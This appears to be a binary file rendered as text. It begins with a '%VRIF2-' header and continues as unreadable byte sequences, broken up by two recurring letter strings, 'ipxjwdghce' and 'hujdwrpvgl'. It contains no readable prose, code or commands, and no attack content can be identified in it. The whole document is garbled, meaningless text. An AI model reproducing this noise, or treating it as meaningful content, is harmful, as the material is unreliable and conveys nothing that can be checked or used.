%VRIF2-Ǽd'	tXzc EpgBOaqhOX+Ju	lԋ0?;G:vˍ1FG+X6VY#+ Ӗ=o$+s2:[E/&eDg7FAii[pjߝ2Ҡ-$GXbE$®jAhujdwrpvglisDD(64t=^6kSU|-uipxjwdghceW᯴^=8B.˫/c
`~n͸H|Ba*?'T+~m ]X#:P3*/unvoe,J&)[4hujdwrpvglEipxjwdghceFڶV$A}#J}1]ȿBm/2~ȑJ"]1;dE
F +}*I`w
˻{_JnC׉S
Z,n%)^?J[Ǧ2nr$lMzK=_iipxjwdghce,OGM+&Gx'ܓQOZfېMdB?/3qM9e;hZ^XC GE֐-:dmE0̼8E_%9,@EX}MDE/MD	hOB`Zhc?dB&
'8hujdwrpvglhHӼa8q5Lx?#A$
bȰ$9xz#zBhJqsLNodHjW(4!A"G{ /x횞(DP3hoIo͹9Y@tDP3ԞUlipxjwdghce,#!$ j)^@MO| -|z)͝`ɏ	̫q6qFG= 2Z4߳M[V^ڊJebj#GqH0odYon IJ3V޾ipxjwdghce~P,	awzCo$.Y&@aw(u[DxwxUl[cƣipxjwdghce5 t\ƧuB{ERc^!@0/+g6^ij293US2u8BCϯf';eR{ C
oBXۣiD(UoPDm~az#fͽ;[*vPɗ!w}iU	x×!J0Mz(B95,p{?ǥT.B@qr8Rp7M@гjÁ	% M1}_NAM+$pLZ-im1T/M
Es%~ipxjwdghcej圉~ipxjwdghce܄	|O/[O reKW[ #ܘMdx,xuMɍy@t^k+9O-"b3S/%yBҡ`+~5FdHy)8ZK/1B#Pg U hujdwrpvglUJ+A	;b$(psH,=?+?̛[袚!Ǎ0chujdwrpvglX_8"73w7dzy~RıYۚ K7ipxjwdghceoNv6×ZEݛ8P0 kcV2 
z&ǡBUmCjt~DEW[7tzWqc4
=yw*gb1`@]I9}4mkq褛tRipxjwdghceg6*p}w;q3eT?֠ʣ刽	%
Tt#h{aѶ3֪#h6"WWHj&!+C.aWXo!-O~J1(kJK#RaP.B!郲}Sc?MhoGk%%Sk@~Ud~Lhujdwrpvgl{4S,C*"zϝԕS$pye)n4I摬8z/+ó?)Śxawf^+)?~BN}^;aaUh\,=khujdwrpvglL,·\|]lF/ӥ9E@c3T)plQYl{k.,[o"Sw5biS!2ZjB:lM.i&kW	aҲipxjwdghceu6x(%V&
hujdwrpvgl!:B|caF=l6tOVq.%oДNzB XA)DnJ]}]Uz߯_ /dqhujdwrpvgl!z`*`
' t,PR]I]gk"*#lG3U''v1/J9]Vڒ&44}۵z4
s713j}K
bhujdwrpvglfח,]DͲ7
m-'m#| rDc?yҞ`7 |4m.ua"R8wʣЇj~YMrC_@]C-SLi;^@ꚛ3|.{ipxjwdghcer%Ou9ƕmA 	
XVG!=Kn/@hujdwrpvgl\ipxjwdghce2zRM.'Jq6;7 ^	S1\2ͬ%'mCSdL[;ipxjwdghce%sLN+f?kxم2r2n)SWf6`߿6c MeM.̊P\\N[mS
-hujdwrpvglЌ_ipxjwdghceChujdwrpvglĳ5
4f_(Ekfh2 {&^o]쓒Ռj\
,TOHY Yآ4|#$M1XvsH#ӟ;[%wf,"k!-[]8
4Cُ;1ޫo 9-,/7VpaYc1ϊݑ=Ĩ$czipxjwdghceT)p=}뭿ˏ4k:X +wVC5Ǎ)9)p:g.0`Ԕr#P`;m !a[FR?A}AMٳ$3RqF !kmMVJ2XA4)eGjD,{߸xTcJxooB$}@!ٸ.V.OTwJxDtoS̛Jˌu_0jqAmJZ?Q`PQuCz% l\#	;5t]vYa ɑ0謆q|(u縦v23hujdwrpvgl7uki(S}P@HĮQWw\)G۽aer`Rmv3{܋m:fFjxS؝=oWUl'[%S%`CqӶlL
ڵp`b0Є.v$/chujdwrpvglXJ#[[13GMe8}XipxjwdghceEXJ;/~u fz7^:ujDF@$SipxjwdghceipxjwdghceIĖRt"2&,^FˇIO؎Z7c;Q8!;crxipxjwdghceyO(4B|78 `:.F_U.n?9`%#&?hujdwrpvgl(O9ǿ$,J۱dE[Vw)WkL^8D6_
T]
8$e~Xg~X@vAE8KՔQZu L3Q}yipxjwdghce!:=rD{4cԓrk P7Q-8wP,MqSӕ'(Ͳj"/d3(.]qΑ
R(2&Eਜ਼,"?WrBNxkX$C55b9n@Kj\}'.{ZRkzt]z d1mLP cR8=b}3v&rh0s*3*꼇w4XP?#PWF-Ʀ/Cxzי~1:XLLm--aecO'ٕY`+ڳ?obsϗw:72hywX	^}Pz!:oQ|Eg
E^R],/38P-AtE2ipxjwdghce-(Rhujdwrpvgl}=1$d9	d.8r(qrSLscb7)sނw8Bj]rvUа*#6iJqmǡw[_wxu'Z5 6O`-qP_	:^|GZ/YE odiةNeXHL0B-w1H2"Y;B-YB2qXgэCo7i'
.Qb:|doZRFksxp1zҔK~G	M4ߑb̑@4'ػ\"_%/w
/'JdIE{+fQUUWyw3 ?%~ѩBHØ\*ɒ
!8_yqH'D248 V?N
'Sh$VGlP_K7=eaBX#@(Ju]Y5ج?,.4ПQ[j{C$Wp}7jL=Nhujdwrpvgl3fn@)1
	Fl&ME$ɖ|V8y P_Z_\gt#榺4}\{셶,B@w16d.փܥRD^8E*s(LC&hujdwrpvgl&zsk9D^s&_|Rsz!0i%,"B'[D;yRi_rߘipxjwdghce&%sÈXNKʳȸFɻ~[zǪFokU	kpTgq9`Kχjf*#tUM}Z5s|ipxjwdghce'(a4Zb~q^1q"#܈`.v;]tmOoYJ#
Uk\+d4xu4a?C1@0rE^:r |.,BipxjwdghceG|u3r3|PxN*@zram^~[@!/lcȪI;CB[TxYd٥ÉuI5gkt!~ڴN{h}±j[
敶w{F4h6~h0m9^{GgI6c^H!-brl	l@UkU{kRM30ipxjwdghce+sUdDá͙wFȬ-d iiZ,DF^ffnS0ޗhujdwrpvgl=˹Ųe!YӶY`
V0B67Q 1G zc(inՔ*C
:@QQ,%5w=P"Zj%.S^Zoܖ-ٳ*UAƟZ|)KW֨}^J+kcаM&H$hujdwrpvglvXfmPZ4
$qگh$Ό~7/&Dދy3s}R?HJ-O!c5GGTܩOqNiCtg ?^!K.; [	ڡ}_^$υ9IfLyNҌ:ipxjwdghceh.cؓh"s/vUL	bO쳏ȱ
 ?08\TKŔ	?ME\!=WM?sMX^M1-CEM[`nbASJ\ow4mU+lfY;@0WdP.0j{v+Czp_`Js.Ҫl*oasd?OeWhujdwrpvglUbWP~s~Ο)pixK:F~P.ipxjwdghceGaG]л1-~KLG6q};~TEijn|1x
8	^׿M ɚrpueͣ."
1HCt޶9pPΥ^A}k_g }ta6xSCxz	/@N8Lt'v%:r}$2 =|hujdwrpvgluDგbaipxjwdghceS#yC}Y[-2SHЫFM~'gb"0 8m3]̎(J"=z_jӗ.pԳnf֔dV{wU\Grmv8(WR+}IY'7sG	s2I싋nC-k{ȉ[οjh5٩#NsFSjG46W@`~V iضQ-|oSY: NᡉfXOy=}n|3g4㇤K(x򈡻6
[STL;
H)h3d`HN/?+lEMxlV5e" 
̛K诎7U?I8a	&Y:u@1}^f1 ~{.48VIw!qu:wx9a0Djo0kLj~H׸R_ٍĺiiIV%]X\thT*CFd9AI!kt
H[s9sLI߯ҙ}ehujdwrpvglHHF+{]X3jAnv&`z0 
1,sIsL)+ز6%E;L2_C@.80RM[\ɒwh5oBé0\]:3j{5^1DwwQtpTV]}e+_9VS``nnNwaN3/qD7&n)Xlw[`wv|) (D4/{U|9 [hujdwrpvgl.ǏHjohujdwrpvglvUD&|zAd]1ވ?o7NM0i&8eGjwM9f
^9jY"|cm%րdMZ"~ ʂ,ȯr3NĢ[.jYЏ	gAIR!!i%h\ܨneK$hnF!Xdbj`T|k	l'yד;^_lxhujdwrpvglؑ48)-92n%426ws`!j6䪧0;WR/']nZϮCqԃ!,9-Y{tx}Qga6m:va8|.T/n8JRke`K(+sűzJV$)A
_I`c#;ߙ?89#EEh~ f~q/d{@bj[mD;Io	4O.B⣚x3chujdwrpvgl5c_,nz\NW8oVIUQ+y,ipxjwdghce}@Ƿ[ Ņ\@yZgB_34ߚON~H(0;bV
l0gF
|
P~t%;޶Mx
B9*NI8G_
Ǯ-`5GֱLbzJ~v~L('pHiZH\WhVOb獄"' ӀπN;Hяz|*hqEx,W%X\ޝ0Czf0dNjn! q(}#Vu,ƙv2Nv8	iP3`;  e,17*H䡟dpc!\NHgk:.ϑ8oltwx3h3$=W:ޕ;]I-[M`2!|V3k LP,er6n6WʺQj/q%6F=H_ǐP`5Gd\sJmhujdwrpvgl5(yΖ`֟X
կ
қ:gh}4XLhujdwrpvgl=-:BM謷='g _7PHjhujdwrpvgljgNfg-+x"uu%$aq?*27L "#O~D|[50hujdwrpvgl-㰵:J̵G+{7PᑴI7}	L;	eZg}63_,Br!umU_	dq \ 
X6wo@˩Kրkpx#c(@r3Ȫ!#kPipxjwdghce(`MJO4d:Z R(oHBoۧTSʲ*aipxjwdghceaYaNdE/ 4)"|~M gxM-¼	EMcB`d{sC_$|V{4;jz=cQGm|#_;~Q{-ՎV
Br[®01qӧ\.LJ!2-NƓ} GZJ흦dx&b$AYseߠnE彫溠	r@۵TF?AICۂJJU`^ShujdwrpvglrGSð5ؒ?.Di2dwgΖs6+vGtȾ$t!EHAcU3E"hujdwrpvgl=cAeU$˲_V01vipxjwdghce6c!O asaa["uO#R
Fu:ӋH,3$DK77R&]f2?vkAAՖ|2 ]R
MYBK1IhD
D?C~hujdwrpvgl-ia&F͍j_gL`#גٟGp,,$$t*ýTqI! ,Z)=eq	ϊ54vIL_xyյ3x&?ipxjwdghcet~#OxJ?v}황܆۷mGʫhujdwrpvglğ|!OsY/F%hujdwrpvgl$kbW&z3Qu|o%JPuhs	RAm
d]h04ZhujdwrpvglbտA/Y9)ۼ~2$Jev ݼipxjwdghcekAQstw}҄$e^ODhujdwrpvglBP5T$^i1+o,C8)T'Yj_+EwĺAgb|[ :#%IipxjwdghcezvF5k0g$d;~P&N)_,!YvbtTR\Kݪ49JxX4=[iV? 63e?7
: o-쎒f\SfO[j_0go7{h2':b;l V}EF@B H8j56lhujdwrpvgl%~LCJ\	ks}t9򗼅NiTsG3\@}~؊:S*@O̭1'yq9;~~LشkAI)u 'FYB&cg
B+_/,ЋPxÌ?c7H@-`!_{s&Ϧ`nTW۴4?ٸR x/*VQ\|Y{$XaWl`wn#F{x:2ti?W؏7DhujdwrpvglNl.vJF@yUV4%@ñ|)=qe;b&A$}_yJdPo{QWx)C;rˊ`$irB;3k
֧cZ_JjWPP\_PZB
a;S.XJ;)4ȻGĵN1J~ɾYZaur_u(BשʡSNtE8|YyCx̦+~CGJ\.\[W&fE3SޒRՕjYSɐ*uq#df4Nq	okF]wY
16nAQTʞ	*=aI9HmQ`	bS	5 nE4l'5ķL3rcos8W0(C,AAeLy3!DW7+4C&nipxjwdghce#CP^~r~+BLsI)C]JO/3ݶ0#b-)F5֎~1RDVT\ +Ǵ10`K`Od-!&i˶ibő1!}d,h80220l\bǬnX!"4Wȟ 'q0D$Ss `.!H#vC-XG4BHP
`Y\ WxUA4"Vf$Sϵz3ϭ׮,2tX
5}d1!ݏ*=e3;u]͑}qLFipxjwdghceJշȘhujdwrpvgl}5L NKlֻCXhujdwrpvgldbwp9VSa˦:p6Po EnRwN+#mEohxA㶭0,Nt^
gQXulhujdwrpvglB
]ϝ@g~͐W鋎GJ3|Oގ%U5c
\/m7~`Ϣx8J7'd*+ vNa[&7=PjQЃSb;\
]M6=RTK7ʓ3~yFւnÑc.JfguA|^o3a/U3xۼłbhujdwrpvgl,_aaL̆$u:cSILa#̉p_\Ϟ&%-1tpB"@W cJV|Cꌶj22jLHopƀM
C}b/E%5
9r#~[) ӏDӱ\6(&7gϴ( wI0}0;\]ld8Ͱ,jW0jf'4*coKJ%m4{6*7@D/~0Qfe= Pxt-Sf)[Vl#$?
簈t#(/h=qg*[Ʈ%:~U[uX@R|vB h12ݎBl@Ӄd!#Psp+pXʙ#4MiSe=IܰK[ѝ4Vb: A5YFwl&$OEmw+ߙ~޷$轭[xe7ha{lqx+mipxjwdghceꟲh 2	A#Ph{΋`*b@gKelXhujdwrpvglNZd.#	lhujdwrpvgls3r@V^\%VhujdwrpvglnfeFZ*,b]ipxjwdghcew[2!}fG }; @~y.Vb4MO[0z+hujdwrpvgl
RbO)J}Rk#4ݿ}gU'%b$-*/pL㐝0D@վ|`@ ~EɂcvTeٮ9d.Hipxjwdghce'z4 cᖩԳٗmU\c
].P@+P{!u}ݍiNsO!F|-ɔn_~Fipxjwdghcex2hsAv[oY]{pe⳴`4$
wU^Y+-PT~NLV/Z,rEY_DeL|ipxjwdghcexQ^ipxjwdghceES.r!
aWu.\gFcN8ԢGT[XBvO0wkě 8W/F-;|r
;XēM!Gi\;m`"kԬxBfT2jrܩeAv
3V5iqdt95%TX]ZM@yLe1`/0
U_ϔHn~|BsgXg榧Ƞ.#~ɥ{IrܟSAA@)EP1utY
)3ipxjwdghceڍ=C,㭈3&ReipxjwdghceH"fB8II&,`_wTY1(z܇߮ipxjwdghceS^	_	gQ@-ѣߧA]]D4S _ipxjwdghce%Rz3LV"$`գ+DROQp(ws	?}ݏ" T*Foh~/J%;:hujdwrpvglGy

;1ipxjwdghce2=EoҔ]Xx\tOt i*{zJ-y-^~_N 21ZcEl)#8&~QѓLLF$=&~*f1CuGhlyq=.;8/wK%(#h4%p'o2˨-&dey%0ƺ9rS'P(RC
HoP7ipxjwdghcesKD?-X _-Uwaxp-w	i6sIĻ2ǥ8.VeOTKTЯ!.)YsE8G%/DAƚ ,b&$6?HTMH9/Df
+mBu/o-{.o3eipxjwdghceB$`L.2yk8aj,p'IY!*3YR6VHs'D8`\bB܅x8Z.6\U\H^w߇γtNZa;̫3ҋFipxjwdghce=J"XAaY2McJuv8qZr;+%EPhF0mng{k[fNP^27N&;~D	+"%M]Uḍ	hujdwrpvglrxl!%=(h=nNH#XpպFuuo
(
@ߑ"BxFnl/6Σz`qv(F Cv1EZDC%ѷa~j|rhPUE!3!Gau0UᗣxxTJ"'B%l-KRv:W62@#;IO@p'W`ٮe!J0q2N[%t?jZ; GOOn搪3m|UGrooY{AN&Kу*H
s
_
Kאn֝ ILWFhU#7ғt %2։pA+#ZLtY{H|7F~kҢ6u2
zʠ]%
PDc\	ohujdwrpvgl!]m)a]'["eP/%BTͯ|H(ؿ,7@x5(jK!YhE[#BKAg` R^zaVuJ&% ?++NCOյ\mί͜MgjN
o¶~27qՍW`Lzi'm߯ȸ3^F/!dԂMB;3A8C,eϘͶ˷Kvm}f
t5d3|3޶|\}HlU
w*
&ȉ®e+:	|?
U!xoGX2Iv,̐4pz129WsA[#m_4
|=̖b*:]Uv¥!#bەjgʍ{e?Ͳn%g"b|(DtޑIV!r?6~tUͬ}oWI}%෫$+IC(ضaַmk qcCfx g81._[/fAJZcApZDG
O]j #ۢÄEyf~j^
|V@rǨfTe\"_kvV
cIBF ]-ñU
PmC@풒QS0s3WW*v#?[jhI},},(Z]TAkýx#OIX5	m@+O#}0dv۷ޕ(ǚI:!}'FƋ;.TP6;
G#Th]/fЩa

+&+l1
~삤*As*,Fg&}/qﾎ_,,cu`~a1, 
@ԒF
daTp
'ܞ`hujdwrpvglcQլrDnnR9MAG#޵l	^Wvd
T
FOdf뤰SvAƩ0
Ώ0bE+Չ}==q%]9[z,RBm =gNْG{?m(X*EaT Uy[ipxjwdghceUJQelѠt,?O(ud֌e!0	vYч_Kd`5V@
2}_M*k^cA9z
Yғ2{j;e F\ipxjwdghceГkFyl#Xœ^y[="mGL{V=a*5/iw2Kbq``o|^wˍxOHB"/La.A}7Og\TlS%B9طhujdwrpvglFbzeR`ĜKA[f/+&1$N \n}sQB Y9 X"d4 	x-ipxjwdghceF܆K3%7BV$	VД~i]jflfVF4%AvgYn\2,)ko]CzZ1SpEjLCxܣ
ƨiFŶhujdwrpvglкl3G]_0B͓G&[[1w羕ldgO`eXbDi00֮Y%_Uiz"8uo':o؃+!,27̔f:d֤!9/ 49i1jU&jfL϶cx:&
#\jipxjwdghce Mg. 뼌v;TAb/*`74Ñx_f*@Kv]MVyY;E{,Ch*r"[عyOL?d[! {'4'wFoipxjwdghce8R?C49țq)|9
x*hujdwrpvgl
v(I;G++ɲ@fmi7V.
.X1
Ufn"oތaI|Z=F*-ogtNȔOdAW_dNvzfS|Br~P14f041pPVh7z3
3/H1l0@)/-l=Yxripxjwdghce͕^hd:*lA%WYlViYCkWhujdwrpvglBx}
7qh~95Nt`2/F6CTg6G?C/P۟b[l+ |	e!9`'ܴl]qrTɫڵkM\ֻ{zϟ{_l3SIn@U8CF(+sg8lBLŋtYٌCK'(^tw~|5еr2u!Qlyt]!-'5E&BV_ipxjwdghceqtipxjwdghceȼqGM}OS0NԚ쑡c(*Thʦ ipxjwdghce$dM`ir4$3C38{Xs]K-cnmoipxjwdghce&saC_unxu!D_v4uڪw(K13@L/[=x;zU/ꔶq
Ӄa%=Z.!&܅\rj.[48ipxjwdghceqQ
/Ti {(H.eΧuY;K^$^_;~ĀFXXqZ.R1H΁T+]0:"'m|C122D	aBMtҹʮc Fu}t4KKQn}+ipxjwdghcebB/VY?dl5NP{A-RԻr|"edmrSHMLVԙ%6X(lᩜäŁ404pzr,ʘo72w:|5%uZcΡ1sFnhujdwrpvgl}ˡ 	{k%ftC1hvwۗ5?î2w}1nLZ3Hipxjwdghce.r};ipxjwdghceuqc}1L9Ldp4sc_o7rtbRcҜqYQf'6c}SvrlI/.ոv6͜:CWhujdwrpvglֵ${m؅J 4'1'?/&9o$[A }+}-dǂS!uܠw6Ǳei,{3Ô^׌=_[hh-aipxjwdghce
YaדNo_.RYV]o"m9ElipxjwdghceUNz
 Pٔ(%T=Sj[HZ%n 9o0CUx+#9pGϻwQL?tj`
pjEPLv(ipxjwdghce2N&w#p0M^$8P?Gl$4%X^VG$&~Pci8r-h~hujdwrpvgl4˺2"
Ȉ IN(lCgi|?]/#eGŖ&)O?^/c	JNh1b:0ʰy8o5xipxjwdghceȳoZ
JM*=2ų3j N8F.~y5=Ւ;ghujdwrpvglxkoh53g~9 N
Q*Z),0n9B4C;H{ha9ض[Vj{.ÍMXKM6bvN\e5lSF`	f7O5#x.J}[l
[)ȋ`A= s~ jb;
yԲ*rciov,[ibHٸ(LeipxjwdghceQϥ66`zdipxjwdghce/z_ϐnkL'ЅȮQZ{hg:v[RmZ6W槊#nzy,kXb{bhujdwrpvgl4w{"h)-Z4k8ipxjwdghce+hP6
QC7Kto	bzxatLjSv}+TEyͺ8_o"9/X5R|׆0EQ*:b$(mfp
Au9$f5Lv/|F?9-^	LiR.`}3+fz':i-eg23M9ߪ|ɭNEީipxjwdghce*"*lr\.ځc󈷞(&eHZ)  R_$ڥx6/6ipxjwdghce-nmhujdwrpvgl
}OAqspcJpwvydL/*Ksr}[$1'W8034?F02%b)pvipxjwdghce{bx+ɐߚm䀘&+{_+$?͋$|4QhKSb_Vg~4T)KHVO`qR0uInIE	fǛ
\׿׏Tu6e٬dIc6\RȐpW=TܞGł;z!1hxP(D h8&zraNlMvBipxjwdghce }wepgTAܻ`{!h/KtV},MW[@X~*"kpb *~6:Odȝ#uB#GqwLԞY;"3/DLa١J-Kl:̀)&Nw`To08~{!:yp6~|gUwH]mlwMJChujdwrpvgl7BT =./֯u_YۘDm1_߱mG}ˠf@hw#ykBF;
^ĝXפйjP9=x
i]!aqhujdwrpvglMNsqeaS@vL7Gi'e^\drRhujdwrpvglC0W"'nRq&v@c-D/V	"A"\&x[
pT|ǁe)ruN3-o0etq
d})qvMze$QWD[8"Ԇ*ߋ04qm_ H|9[;zTOb@ߩBUipxjwdghce_ZAWѷ`V'U@wFye@!DQ0WTZXK]9mwO?Rx$GiYRqChujdwrpvglcJipxjwdghcevgh	9El+$`TM8Gо^F'teg:q=U|)ĪOqwksxS E|83
xDd)L{Ѐ'
UWT_Չ:nc]D̲u.ԋu$:-GF:i3Wb17[[`Y|2HK ݙF䟘Hnbom!Iu{YcxP?OQ!//8Yh?f?#*SCIp|9f65% ythujdwrpvgl
ֳ]4H
"&/Y.VB9zɼ?B9."7
k~W3kh^yt+
6r;3Bܾ(^@+Oެ̱_ipxjwdghce9݀5w	l.rZIb]% It)h=ӛAKمOJؠ4tcәtKW+yp|?J/(02~BIv,Ǒ3ӬDu/Ưy7{ic04[i\]_%hrk0xh/*H(qg^`c/(LYE5ylaY
jf½U-˵NȞó6r5@+s1|S@hj@hujdwrpvglG7+=-w$?|_G_0Bipxjwdghce/w׬cĨw	Nhujdwrpvglc7ԑO+qRY&=oާ61X@pσ7~Vu~~ipxjwdghce6ֹدh|p /m
?8`W@oKHX汋ȗOd14Ofvհ|N# Μ0yD[.btRNl&fO٘V}-~7Y Ep!kafipxjwdghceB ۭ3H'FhujdwrpvglN6T"ִom|D~̘k[vʲ13Ia7UYEn|ɮbEhRVRc~hujdwrpvglTV@ipxjwdghce|hujdwrpvgl$/`1wGuHFK'dmXw{f$cnvcʸ\\!emO6Ħ0?&iaO-,ҠipxjwdghceҢ$u^x[Fb~"͍17nZ0#XS#|C"\|7s?7ө[W4?ĘTܬ'8NOͼ"DRMX? Xď	mu+!C*4G-6lPbVMJ|l!|BBq,2͒6GL/ebL.]~	`4EUgΎ,K+snHGgb;,F1$Q#7v"YJƁnC?

Xt!ųδW'-H=Je.G9lԻE Ck`7ACjՕy	2w٩4UES$i=Ru `S+i$+r$1+
{ D2qn8)(Sƹx	U-ى(q!N*URPemp+;exm!ПW*1Oc7]B!Alh2W:IUt_AYZkhujdwrpvgl߽mZn0Y:PTe/w.-PHP7RhhujdwrpvglV/e^ze+̚"8l\St ,nB)o^@$nSahr"eD.-5+1v[F-ŌڝvټgܑUp6?6D"ɪLuNO$-wx#f]1ca".UQIN\&,lrC?E?) UΥ~{la;G"ς'N
pipxjwdghce,=ݺX$ˡmBGQ-
C%; 	
 p\\q:&ۥ9BgX5O*-B~ivS4&4V`7Ռ~bz!*RATG՟~J#`K?N/{ڿh=QfއhujdwrpvglU[]nR㎎џ	|sj 5Duipxjwdghce4A9-$ӛ|~mRR7B`6ipxjwdghceк{htfq
gV5][mR!
Gmx-K%G;u~ϕA*0GRU#Abr7íP]vg~dMN]}R=\m|Puow?_:sHB:6j}a|Adm4U7!;?`yCgFBAցD|Au~;opU硙Iv'Q	fjXYE&
+qxE˗tYQ ä?&ędzb
^ ?ØfMYp#hujdwrpvglm\$r4 ^G%Rj}0;66klѾqRʹ? ZOSopܾJ0Yw4 tzpp_%
gipxjwdghceN|16KAm5ܴhujdwrpvgl=?u.
qJ+[6b@~{nJCx'fNf#\z	&8 1P]{/c&fz^	Wl:sCJ~:L`s&2tCNњ-}1I_=j(!fya9$C\)e1QckIoLn:9g@pr
¥
IJ|W_~^zZC_qVل ^!*2w,9hujdwrpvgl%-LPP _"kOL^ipxjwdghceonOzr|T_xkXk?xuU  s]#SjIv_11	=!8H6GY~#(e-V/ACi?5;R/nipxjwdghceYc}}&fB{K/9`ϗzA 	JM?͔τxiay=|"sQ
Tҽ{]9ES`Fy*60 ]g^oRyVztф;S&ǳqQ"H!Fl('c܌lȠyҀ;o^`
9hujdwrpvgl2=W $u"Yv&Ctdמ@-[cCWA昽gcr̵uhIy)	VK0&n%,ٶ9-R(p[H&@Ripxjwdghce'{sWBn uq.+hVvsr2\笨!tʬLxZАy[,TQיAf"qSb0A_NiK`kh`)  6?iY6/7g%*?(GrQ3y{U@۩IDJ	'Q3&YElSmGޭe `-_{aO ggkI:ipxjwdghceQipxjwdghce/غZDhsG&s.+ Y"*{h#51+;hujdwrpvglbwcb*ڣ[z%r_p0TM;׬E秨)IC5ցm%;]17Dnj'[AU~wI!hujdwrpvglx̵&yelfhM
gc!&:C`7r#ȡt8juцUPz5ЊMTwX*YHR@3#?O&~0}Ŗ䊜B;Dkv""Phujdwrpvgl4hя#v('4Qtz+\A`ok^_ipxjwdghce
n3oƜ=bX'KB.aFK~mRt1Sg4"m;zC%qL\,ipxjwdghce
&,goJhujdwrpvgln74^l8zg4+!a\\xhujdwrpvglJՒřB9cBJQ3BgZ)M+ױihw㢂
mČhujdwrpvgl{kxfpy\@:~ R[ddIDhujdwrpvglְY5@fao'hOU@O r2kgF"r13&ipxjwdghceny/kpcrQؓ@.ZS6jH8 &&"|[{诅2hsqGs^4APh{)\5b{gh$ R#ȥ-7 DՖ3.lLFЀ"- ƜiB7 ::YO`XJ8	ٱ'1PU~&mt:!EA=0Ѽʝ2ipxjwdghce㓖\?
sRj8I	CP0=Q#
# pƐp$&vQ)떟`ۗyipxjwdghce3r;hujdwrpvglɽO1L_w`S5dU =
t%+fyO{:h
Ӭ	
1hipxjwdghceMYvB*IJb!DZEDHZlVۢhujdwrpvglWK=y}}˿k+ MDeNBqsN*{@ 0
ټ~sS!tv\.}sQ{_xŀ- aV} fGd8y8-M+
HDYW&˗ᦺ'_=Q2ڠOo!3/BR
5 }
C&^^RM4Q`5xůX	ɹV@5=%BhujdwrpvglW6
 @slKb|
ɽs̚Eئ*t̺E8.Ĥtf."7s/aUt8/JEcN .rzGI^7C((hφ¢țҐYzQ0}(}Vof5
欶3HN_Usx@c+K[JbPn;$3,Z&ƷV*74x	
_)zRDQsH)Nפ$^Sך7Y{O*$EDNTLtB{r2wO:9s3Gsz$$ǲ6d||_-Ek2jH78e
;Hlo}n c0TT
y'*?.i-)-&ZU%mTR@'Uj)8,1`o*Y.&N09lz2[#nFz'%N1%Jm2qtj28}UPvY`}\zDa9Fu?[N^`p{Z6Z/tdPZ_1	]xA鹁lk
C[Fyy_8=Fq$'.;P!N= 먜k.巩ӟ)d+*Vhujdwrpvglz
c9ig_;ipxjwdghces淇Q[|ei8M^{|
Ti8N4SX@!AlI!L?"5:7V4`(y?8Y'%Dȭr X9	H"",OJ}y hTAЙ[FRkO)
s9 W l#27e?MC{\hujdwrpvgl
_S*l._͈~~	o2=Egmvsy*՗"[$#8ƻ+Zi
ipxjwdghceoWǁlh4操%:R9s:`$iTU"hujdwrpvglEEVv'FfHWF;|rʲHRuJ"ȳu+紏2K,J@q&ρE!.^X'[=	E)b#)Q/gX
RV3"5Ieòc
mzxԦ'"|#AwIԭ
lrsMNhujdwrpvglp'IOQkC8f4JLMDR
?CW1#(EBRux};ͫpۀKږ-FyBP$@~S\ᮅ2DEqHmY
3@ɽ-`mLȰTϛhujdwrpvgl]ɫMQ;$" QT7,Y?tvCf,?nkX$}&=5Wm#"7lqߜǝa35"6Wupn.OM+hujdwrpvglqߑȀ GX #hujdwrpvglkPE=GYYhujdwrpvgln
eA?O/`όM{zGT\I
WO	j SJZeR%CA~J8t鍙CБyB|))Crb="`-9;[Dw+O"roMIeࣹ6 ^
T+f-hujdwrpvgl]7|"hujdwrpvgl煣hujdwrpvglQ*7Wgps79V0vN|T[ED95_cCYaPabG
, |l%"^`VU.Xȋipxjwdghce}y
?~#+~y4JwO@1*^fO.QSkf+4kjN/$']D¢MNipxjwdghceg僅-I8%HK{70coipxjwdghceldl,H$ҟLy&šюl
C+bǵA^d60[P?N$S%hjqt[rBQ 
qwP|}2J;`0MsA,iH|̀ݝa9+ӪC}}VUNHIGWoO
:ipxjwdghce4q
'ֵ.)ipxjwdghce1$u1TK:~©^N׻Qi12ZipxjwdghceXLβd*6p1j2euu.i ̑,)GCخrKU\%_~6#wipxjwdghceC+`~Ii847GNqd0_w8GO).W,`LaOQE_bz1 BںihujdwrpvglE*%w 챜j1Ic8 RiD9=9:%hy~\?DۗlsaX_DuIVǶ׻brf8^Wmi/䭓6roMH]g*?pӋ8|
W5ϕ%EKcO݅9o){VvOʀBZA:,T
C"*ձ!pB])`AEhujdwrpvglaR+:e!#Y|mN ^׻=/7-S^C/&dզ6Ƿj9WK9m{U=:!*XTjNXs	%ۧx"Rq͍`ipxjwdghce-(|8؉8ק6 (٩EO#
vp-xۺ5a*f`,_R:B8|Ipʍe-MI݄KWahyT4ZС4£n4Tī@1v,;Dt7SdnMD yRs}p+ЭZz5Xg/hujdwrpvglGH=i#nPBhujdwrpvglZ~@hujdwrpvgl|BV`Cf:˚܄B;XJ!{qEQ}+Xs/ _)Boi谔7ҳ
ǜLitYjz1PhRߚ-yiҧݚ!E~jfG
d|.&~"ArFl$~hujdwrpvglGw`)@O?7$Mʡi|VmbYisipxjwdghcehhujdwrpvglH8-.)MWR;Rz` t_Nchujdwrpvgl?-n}mpqDBWq~?UPuIw~.o;.V8g鿣H)[hP($4Tw!k~8FoG{u\M84/P}+hujdwrpvgl?$R趉FGm"Mb%:gЏ7xu5vWs}jV8$+Jϣ +)msb仩L-mխ oh2Z"^3?fN{*hΙe`?)'OcWCKc$%
5Y%c0CoRvs~èvM`AQc~hzEa5]˭VPBw2uZgF0	*:'h[aVrNXմљyBɫ/Jaҍkd뜪 N؇{nt,"U{؄ |hujdwrpvgl1=ѢȻE)-@4¤醩g,L2mhujdwrpvgl
R9 ]&żF8o({t/}eԭ+csZRʜa\G=۝(woԁʦ_CiZ_!?Aɐ[pȴ]I~/Uy~
fZx[s{h e}?п	`r7:#9&	0ߕbo[LՍipxjwdghceWs^@*K_=}g(XхJ?i
qRdaMƥ*NtCLcuV!ax]ku9
WM"85r
3Ix?F71ajnhuRhujdwrpvgl3hujdwrpvglM_*hujdwrpvglB[^ԶϐXѫ|'o5U
Uf: m+d+hujdwrpvgl5#zRUF5ᅖ}_0	TWa=t9Ua4oVBaxchujdwrpvgl\_[TGϾ(T&K|ьFD*$cqwT*Z?#=[p^dW(mPH瓯&M	yz]-M*橬)63aM}hMuqgRɸ
ntP[Vc
K=0/X)&2d=;h+E{\ swj&4m͜OƍQZryJ7OO{+PPSF(Q5߈ߓ}?vlӎPhBeM!a$t!j~)?~A_c7lj}+w܈d$g7H]*ݮf682ipxjwdghceԿIb$m**Z4cmrSo[Hc?`3#o_ǖd RK\8|uӁg星Wf~})KˣYhTu@LSz"NlFU
